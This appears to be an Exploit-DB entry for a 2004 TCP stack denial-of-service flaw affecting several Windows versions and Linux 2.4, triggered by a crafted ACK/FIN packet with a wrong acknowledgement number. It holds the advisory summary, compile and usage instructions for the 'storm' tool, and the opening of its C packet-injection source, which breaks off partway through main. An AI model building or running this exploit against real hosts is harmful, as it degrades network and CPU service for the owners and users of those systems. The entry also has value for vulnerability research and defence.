Exploit-DB #25439
Description: Multiple Vendor - TCP Session Acknowledgement Number Denial of Service
Type: dos
Platform: multiple
Date: 2004-12-13
Author: Antonio M. D. S. Fortes

Exploit:
// source: https://www.securityfocus.com/bid/13215/info

Multiple Vendor TCP/IP stack implementations are reported prone to a denial of service vulnerability.

A report indicates that the vulnerability manifests when an erroneous TCP acknowledgement number is encountered in an active TCP session stream.

A successful attack may result in a degradation of the target connection, effectively denying service for legitimate users. Additionally, reports indicate that the computer being attacked may suffer CPU performance degradation, potentially denying service for local users too. 

/*      Proof of Concept for exploiting the TCP Keep Alive implementation
*      2004/12/13
*
*      Antonio M. D. S. Fortes   - antoniofortes@inatel.br
*      Diego Prota Casati        - diego-casati@inatel.br
*      Leandro Spinola Rodrigues - leandro-rodrigues@inatel.br
*
*      Tested on:
*        Windows 98 SE
*        Windows NT Server 4.0
*        Windows 2000 Professional
*        Windows 2000 Server
*        Windows 2003 Server
*        Windows XP Professional Service Pack 1
*        Windows XP Professional Service Pack 2
*        Linux 2.4.x
*
*        Linux 2.6.x:
*          It wasnt tested but there is a probability that it will also work
*          on it.
*
*      Compile:
*        gcc -lpcap storm.c -o storm           [FreeBSD]
*        gcc -D LINUX storm.c -lpcap -o storm  [Linux]
*
*
*
*      How to use:
*        ./storm Device TargetHost [Count] [Filter]
*
*      Linux systems may need to get a copy of srtlcpy and strlcat
*      which can be downloaded from the
*      OpenBSD website (www.openbsd.org)
*
*      Example:
*        ./storm rl0 192.168.10.13 1 'dst port 80'
*
*        where [Count] stands for how many injected packets should be sent to
*        the host machine and [Filter] is the filter rules of the libpcap,
*        take a look in the tcpdump man pages for some enlightments.
*
*      Description:
*        This bug appeared during a few experimentations with the TCP/IP stack
*        after which we found out that it was not, at least it is not of our
*        knowledge, found anywhere else before. That was actually a Solaris bug
*        that resembles this one.
*
*        After an established connection, a specially crafted packet with the
*        ACK/FIN flags set, a corrected Sequency Number but with an incorrected
*        Acknowledge Number will trigger a massive flush of packages with zero
*        size and only the ACK flag set. Ethereal logs showed that the keep
*        alive state was occuring and this flow kept going for approximately 3
*        minutes and a few million packets. It was clearly observed that CPU
*        and network performance was severed decreased due to this misbehave.
*
*        Potential attacks includes  DoS and DDoS. Applications and services
*        that depends on quality of services (QoS) such as H323 applications
*        (VoIP) and video streamming will suffer dramatic performance
*        downgrade.
*
*      Thanks to:
*        Luiz Gustavo Torquato Vilela - aka "Neco" - for letting us
run few tests on his labs being such a reference
*        Everson da Silva Tavares - aka "ipfix" - for doing the Linux
compatibility
*        Rodrigo Rubira Branco - aka "BSDaemon" - for fixing some errors
*        Alex Marcio Ribeiro Nunes - aka Sefer_Zohar - for being a mentor
*        Flavio Neri Rodrigues - for giving us the basics of TCP/IP
that we needed
*
*      References:
*        RFC 793  - Transmission control protocol
*        RFC 1122 - Requirements for Internet Hosts - Communication Layers
*
*/

#ifdef LINUX
     #define _BSD_SOURCE
#endif

#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/ethernet.h>

#ifndef LINUX
     #include <net/bpf.h>
#else
     #include <bpf.h>
#endif

#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <pcap.h>

u_short StormCount, StormPosition = 0;
in_addr_t TargetAddress;

// Packet list
u_short PacketCount = 0;
#define PACKETS_MAX_COUNT 32
struct tcp_packet
{
     in_addr_t Source, Destination;
     u_short SourcePort, DestinationPort;
     u_short Length;
     uint32_t Acknowledge, Sequence;
     u_short Window;
     u_char Flags;
     struct tcp_packet *NextPacket;
} *PacketList = NULL;

// Function Prototypes
in_addr_t ResolveHost(char *Host);
u_short TCPCheckSum(in_addr_t Source, in_addr_t Destination, struct
tcphdr *TCP);
struct tcp_packet *AddPacket(in_addr_t Source, in_addr_t Destination,
u_short SourcePort, u_short DestinationPort, struct tcp_packet
*Packet);
void DeletePacket(struct tcp_packet *Packet);
struct tcp_packet *FindPacket(in_addr_t Source, in_addr_t Destination,
u_short SourcePort, u_short DestinationPort);
bool SendTCP(in_addr_t Source, in_addr_t Destination, u_short
SourcePort, u_short DestinationPort, uint32_t Acknowledge, uint32_t
Sequence, u_short Window, u_short Flags);
void PCapHandler(u_char *args, const struct pcap_pkthdr *pkthdr, const
u_char *packet);

int main(int argc, void **argv)
{
     // Length of each packet to capture
     const unsigned int PACKET_CAPTURE_LENGTH = sizeof(struct
ether_header) + sizeof(struct ip) + sizeof(struct tcphdr);

     char Device[16], TargetHost[128], Filter[512];
     bpf_u_int32 NetAddress, NetMask;
     char PCapError[PCAP_ERRBUF_SIZE];
     pcap_t *Descriptor;
     char CompleteFilter[1024];
     struct bpf_program Program;
     u_char *PCapNullArgs = NULL;

     if (argc < 3)
     {
           printf("Usage: %s Device TargetHost [Count] [Filter]\n", argv[0]);
           exit(1);
     }

#ifndef LINUX
     strlcpy(Device, argv[1], sizeof(Device));
     strlcpy(TargetHost, argv[2], sizeof(TargetHost));
#else
     strncpy(Device, argv[1], size